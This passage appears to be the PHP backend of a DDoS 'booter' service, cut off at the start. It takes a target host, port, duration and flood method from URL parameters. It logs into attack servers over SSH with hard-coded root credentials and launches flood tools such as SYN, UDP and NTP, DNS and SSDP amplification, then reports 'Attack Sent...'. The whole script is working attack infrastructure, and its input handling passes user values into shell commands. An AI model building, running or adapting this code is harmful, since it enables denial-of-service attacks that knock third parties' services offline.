array("root", "password") ); class ssh2 { var $connection; function __construct($host, $user, $pass) { if (!$this->connection = ssh2_connect($host, 22)) throw new Exception("Error connecting to server"); if (!ssh2_auth_password($this->connection, $user, $pass)) throw new Exception("Error with login credentials"); } function exec($cmd) { if (!ssh2_exec($this->connection, $cmd)) throw new Exception("Error executing command: $cmd"); ssh2_exec($this->connection, 'exit'); unset($this->connection); } } $port = (int)$_GET['port'] > 0 && (int)$_GET['port'] < 65536 ? $_GET['port'] : 80; $port = preg_replace('/\D/', '', $port); $ip = preg_match('/^[a-zA-Z0-9\.-_]+$/', $_GET['host']) ? $_GET['host'] : die(); $time = (int)$_GET['time'] > 0 && (int)$_GET['time'] < (60*60) ? (int)$_GET['time'] : 30; $time = preg_replace('/\D/', '', $time); $domain = $_GET['host']; if(!filter_var($domain, FILTER_VALIDATE_URL) && !filter_var($domain, FILTER_VALIDATE_IP)) { die("Invalid Domain"); } $smIP = str_replace(".", "", $ip); $smDomain = str_replace(".", "", $domain); $smDomain = str_replace("http://", "", $smDomain); if($_GET['method'] == "UDP") { $command = "screen -dmS {$smIP} ./udp {$ip} {$port} 1 500 15 {$time}"; } elseif($_GET['method'] == "TCP") { $command = "screen -dmS {$smIP} ./tcp {$ip} {$port} 15 -1 {$time}"; } elseif($_GET['method'] == "CSYN") { $command = "screen -dmS {$smIP} ./csyn {$ip} {$port} 15 -1 {$time}"; } elseif($_GET['method'] == "TCP-ACK") { $command = "screen -dmS {$smIP} ./tcp-ack {$ip} 15 -1 {$time}"; } elseif($_GET['method'] == "TCP-PSH") { $command = "screen -dmS {$smIP} ./tcp-psh {$ip} 15 -1 {$time}"; } elseif($_GET['method'] == "TCP-SE") { $command = "screen -dmS {$smIP} ./tcp-se {$ip} {$port} 15 -1 {$time}"; } elseif($_GET['method'] == "WIZARD") { $command = "screen -dmS {$smIP} ./wizard {$ip} {$port} 15 -1 {$time}"; } elseif($_GET['method'] == "ZAP") { $command = "screen -dmS {$smIP} ./zap {$ip} {$port} 15 -1 {$time}"; } elseif($_GET['method'] == "ISSYN") { $command = "screen -dmS {$smIP} ./issyn {$ip} 15 -1 {$time}"; } elseif($_GET['method'] == "TCP-FIN") { $command = "screen -dmS {$smIP} ./tcp-fin {$ip} 15 -1 {$time}"; } elseif($_GET['method'] == "TCP-RST") { $command = "screen -dmS {$smIP} ./tcp-rst {$ip} 15 -1 {$time}"; } elseif($_GET['method'] == "TCP-XMAS") { $command = "screen -dmS {$smIP} ./tcp-xmas {$ip} 15 -1 {$time}"; } elseif($_GET['method'] == "ZSYN") { $command = "screen -dmS {$smIP} ./zsyn {$ip} {$port} 15 -1 {$time}"; } elseif($_GET['method'] == "HOME") { $command = "screen -dmS {$smIP} ./home {$ip} {$port} 15 -1 {$time}"; } elseif($_GET['method'] == "TELNET") { $command = "screen -dmS {$smIP} ./telnet {$ip} 15 -1 {$time}"; } elseif($_GET['method'] == "DB2") { $command = "screen -dmS {$smIP} ./db2{$ip} {$port} db2.txt 15 -1 {$time}"; } elseif($_GET['method'] == "DOMINATE") { $command = "screen -dmS {$smIP} ./dominate {$ip} {$port} 15 -1 {$time}"; } elseif($_GET['method'] == "SSYN") { $command = "screen -dmS {$smIP} ./ssyn {$ip} {$port} 15 -1 {$time}"; } elseif($_GET['method'] == "XSYN") { $command = "screen -dmS {$smIP} ./xsyn {$ip} {$port} 15 -1 {$time}"; } elseif($_GET['method'] == "SSDP") { $command = "screen -dmS {$smIP} ./ssdp {$ip} {$port} ssdp.txt 15 -1 {$time}"; } elseif($_GET['method'] == "CHARGEN") { $command = "screen -dmS {$smIP} ./chargen {$ip} {$port} chargen.txt 15 -1 {$time}"; } elseif($_GET['method'] == "TS3") { $command = "screen -dmS {$smIP} ./ts3 {$ip} {$port} ts3.txt 15 -1 {$time}"; } elseif($_GET['method'] == "NTP") { $command = "screen -dmS {$smIP} ./ntp {$ip} {$port} ntp.txt 15 -1 {$time}"; } elseif($_GET['method'] == "SNMP") { $command = "screen -dmS {$smIP} ./snmp {$ip} {$port} snmp.txt 15 -1 {$time}"; } elseif($_GET['method'] == "SENTINEL") { $command = "screen -dmS {$smIP} ./sentinel {$ip} {$port} sentinel.txt 15 -1 {$time}"; } elseif($_GET['method'] == "MSSQL") { $command = "screen -dmS {$smIP} ./mssql {$ip} {$port} mssql.txt 15 -1 {$time}"; } elseif($_GET['method'] == "PORTMAP") { $command = "screen -dmS {$smIP} ./portmap {$ip} {$port} portmap.txt 15 -1 {$time}"; } elseif($_GET['method'] == "QOTD") { $command = "screen -dmS {$smIP} ./qotd {$ip} {$port} qotd.txt -1 8 {$time}"; } elseif($_GET['method'] == "MDNS") { $command = "screen -dmS {$smIP} ./mdns {$ip} {$port} mdns.txt 3 {$time}"; } elseif($_GET['method'] == "NETBIOS") { $command = "screen -dmS {$smIP} ./netbios {$ip} {$port} netbios.txt 15 -1 {$time}"; } elseif($_GET['method'] == "HEARTBLEED") { $command = "screen -dmS {$smIP} ./heartbleed {$ip} {$port} heartbleed.txt 15 -1 {$time}"; } elseif($_GET['method'] == "VSE") { $command = "screen -dmS {$smIP} ./vse {$ip} 15 -1 {$time}"; } elseif($_GET['method'] == "RUDY") { $command = "screen -dmS {$smIP} ./rudy {$ip} 1 8 {$time} proxy.txt 0"; } elseif($_GET['method'] == "SYN") { $command = "screen -dmS {$smIP} ./syn {$ip} {$port} {$time}"; } elseif($_GET['method'] == "DNS") { $command = "screen -dmS {$smIP} ./dns {$ip} {$port} dns.txt 15 -1 {$time}"; } elseif($_GET['method'] == "QUAKE") { $command = "screen -dmS {$smIP} ./quake {$ip} {$port} quake.txt 8 {$time}"; } elseif($_GET['method'] == "SLOW") { $command = "screen -dmS {$smIP} ./slow {$ip} 8 proxy.txt {$time} 0"; } elseif($_GET['method'] == "ESSYN") { $command = "screen -dmS {$smIP} ./essyn {$ip} {$ip} {$port} 15 -1 {$time}"; } elseif($_GET['method'] == "stop") { $command = "screen -X -s {$smIP} quit"; } else die(); foreach ($SERVERS as $server=>$credentials) { $disposable = new ssh2($server, $credentials[0], $credentials[1]); $disposable->exec($command); } } ?> Attack Sent...